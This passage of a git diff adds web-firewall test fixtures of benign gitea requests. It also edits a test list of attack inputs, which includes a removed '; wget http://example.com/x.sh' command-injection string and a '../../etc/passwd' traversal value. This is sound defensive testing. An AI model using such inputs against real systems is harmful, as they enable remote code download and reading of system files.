\"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"} diff --git a/internal/coreruleset/testdata/gitea-names-in-bodies.txt b/internal/coreruleset/testdata/gitea-names-in-bodies.txt new file mode 100644 index 0000000..cb9c52d --- /dev/null +++ b/internal/coreruleset/testdata/gitea-names-in-bodies.txt @@ -0,0 +1,28 @@ +# Ordinary gitea 1.27.3 requests that name a file or a branch in a body, which +# the Core Rule Set must let through while it reads bodies. They were recorded +# from a gitea driven by a headless Chrome, signed in, and by a script on the +# API. Each line is one request as JSON. Names, cookies and tokens are +# invented. The browser's User-Agent is an ordinary Chrome's. +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 62", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_branch_name\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 103", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add Dockerfile\", \"head\": \"feat/docker-support\", \"base\": \"main\", \"body\": \"Builds the image.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/scripts/powershell-build.ps1", "headers": ["Accept-Encoding: identity", "Content-Length: 105", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"V3JpdGUtSG9zdCAiYnVpbGQiCg==\", \"message\": \"Add a PowerShell build script\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 864", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd2r1zGuX9U2OBld1", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nPin nginx\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n0735bcea75feef4e6d8b85866be904fadd379426\r\n------WebKitFormBoundaryd2r1zGuX9U2OBld1--\r\n"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 862", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarywVqkqv2Jr7ji4Kze", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/python3-setup.md\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n\r\nInstall the tools.\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\n71e995c2394ac116247f342fb116b0058e1ec738\r\n------WebKitFormBoundarywVqkqv2Jr7ji4Kze--\r\n"} +{"method": "POST", "target": "/alice/tools/_delete/main/.htaccess", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 621", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryQH6Zh33PIE4XdrL5", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/.htaccess", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove .htaccess\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nd44f04577d741b385554aaf75898d84c0e6be0e4\r\n------WebKitFormBoundaryQH6Zh33PIE4XdrL5--\r\n"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 637", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5NJfG6GBxpj4Yj1g", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRemove scripts/install-script.sh\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ndirect\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nalice-patch-1\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\ne0855ca76e18ad6cc42b3ed5c99247293522f926\r\n------WebKitFormBoundary5NJfG6GBxpj4Yj1g--\r\n"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 28", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=docker-build"} +{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 52", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=feat%2Fdocker-support&to=feat%2Fpython3-support"} +{"method": "POST", "target": "/alice/tools/branches/_new/branch/main", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 32", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "new_branch_name=powershell-build"} +{"method": "POST", "target": "/alice/tools/branches/rename", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 46", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/branches", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "from=powershell-build&to=fix-powershell-module"} +{"method": "POST", "target": "/alice/tools/_edit/main/docker-compose.yml", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 917", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryXJTF93HAC8mrhTox", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_edit/main/docker-compose.yml", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocker-compose.yml\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\nservices:\r\n web:\r\n image: nginx:1.27\r\n restart: always\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nRestart the web service\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\nfeat/docker-support\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryXJTF93HAC8mrhTox--\r\n"} +{"method": "POST", "target": "/alice/tools/_new/main/", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 853", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary6wkagZ2DWcFZT1EP", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_new/main/", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"tree_path\"\r\n\r\ndocs/setup.md\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"content\"\r\n\r\n# Setup\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nAdd setup notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npowershell-setup-notes\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundary6wkagZ2DWcFZT1EP--\r\n"} +{"method": "POST", "target": "/alice/tools/_delete/main/scripts/install-script.sh", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 648", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGgvHwu0BZkGKBgYt", "x-gitea-fetch-action: 1", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/alice/tools/_delete/main/scripts/install-script.sh", "Accept-Encoding: gzip, deflate", "Cookie: i_like_gitea=8d3e1f0a6b2c9d47; lang=en-US"], "body": "------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_summary\"\r\n\r\nDrop the old setup script\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_message\"\r\n\r\n\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"commit_choice\"\r\n\r\ncommit-to-new-branch\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"new_branch_name\"\r\n\r\npython3-migration\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt\r\nContent-Disposition: form-data; name=\"last_commit\"\r\n\r\nc6cac64cde0f4e20fc2e0fc7e947145752b50ab5\r\n------WebKitFormBoundaryGgvHwu0BZkGKBgYt--\r\n"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 78", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"powershell-ci\", \"old_branch_name\": \"feat/docker-support\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 76", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"python3-docs\", \"old_ref_name\": \"fix-powershell-module\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 67", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"docker-build\", \"old_ref_name\": \"python3-docs\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/branches", "headers": ["Accept-Encoding: identity", "Content-Length: 84", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"new_branch_name\": \"update-powershell-scripts\", \"old_branch_name\": \"powershell-ci\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/contents/docs/notes.md", "headers": ["Accept-Encoding: identity", "Content-Length: 117", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"IyBOb3Rlcwo=\", \"message\": \"Add notes\", \"branch\": \"python3-docs\", \"new_branch\": \"update-powershell-docs\"}"} +{"method": "PUT", "target": "/api/v1/repos/alice/tools/contents/docker-compose.yml", "headers": ["Accept-Encoding: identity", "Content-Length: 220", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"content\": \"c2VydmljZXM6CiAgd2ViOgogICAgaW1hZ2U6IG5naW54OjEuMjgK\", \"sha\": \"3c7f894b1cd24c6756ec9b3bfd82c15f9f14b621\", \"message\": \"Pin nginx 1.28\", \"branch\": \"fix-powershell-module\", \"new_branch\": \"feat/python3-support\"}"} +{"method": "DELETE", "target": "/api/v1/repos/alice/tools/contents/.htaccess", "headers": ["Accept-Encoding: identity", "Content-Length: 100", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"message\": \"Remove .htaccess\", \"sha\": \"5a928f6da25ac6d6ba65480b76d03a71cb906138\", \"branch\": \"main\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 111", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Add notes\", \"head\": \"update-powershell-docs\", \"base\": \"python3-docs\", \"body\": \"Notes on the build.\"}"} +{"method": "POST", "target": "/api/v1/repos/alice/tools/pulls", "headers": ["Accept-Encoding: identity", "Content-Length: 119", "Host: example.com", "Authorization: token 0123456789abcdef0123456789abcdef01234567", "Content-Type: application/json", "User-Agent: Python-urllib/3.12", "Accept: */*", "Connection: close"], "body": "{\"title\": \"Pin nginx 1.28\", \"head\": \"feat/python3-support\", \"base\": \"fix-powershell-module\", \"body\": \"Pins the image.\"}"} diff --git a/internal/coreruleset/vaultwarden_test.go b/internal/coreruleset/vaultwarden_test.go index 12069e9..ac1b9f8 100644 --- a/internal/coreruleset/vaultwarden_test.go +++ b/internal/coreruleset/vaultwarden_test.go @@ -199,7 +199,7 @@ func TestVaultwardenHardValuesPassInTheExcludedFields(t *testing.T) { var vaultwardenAttacks = []string{ injection, scriptTag, - "; wget http://example.com/x.sh", + shellCommand, "../../etc/passwd", }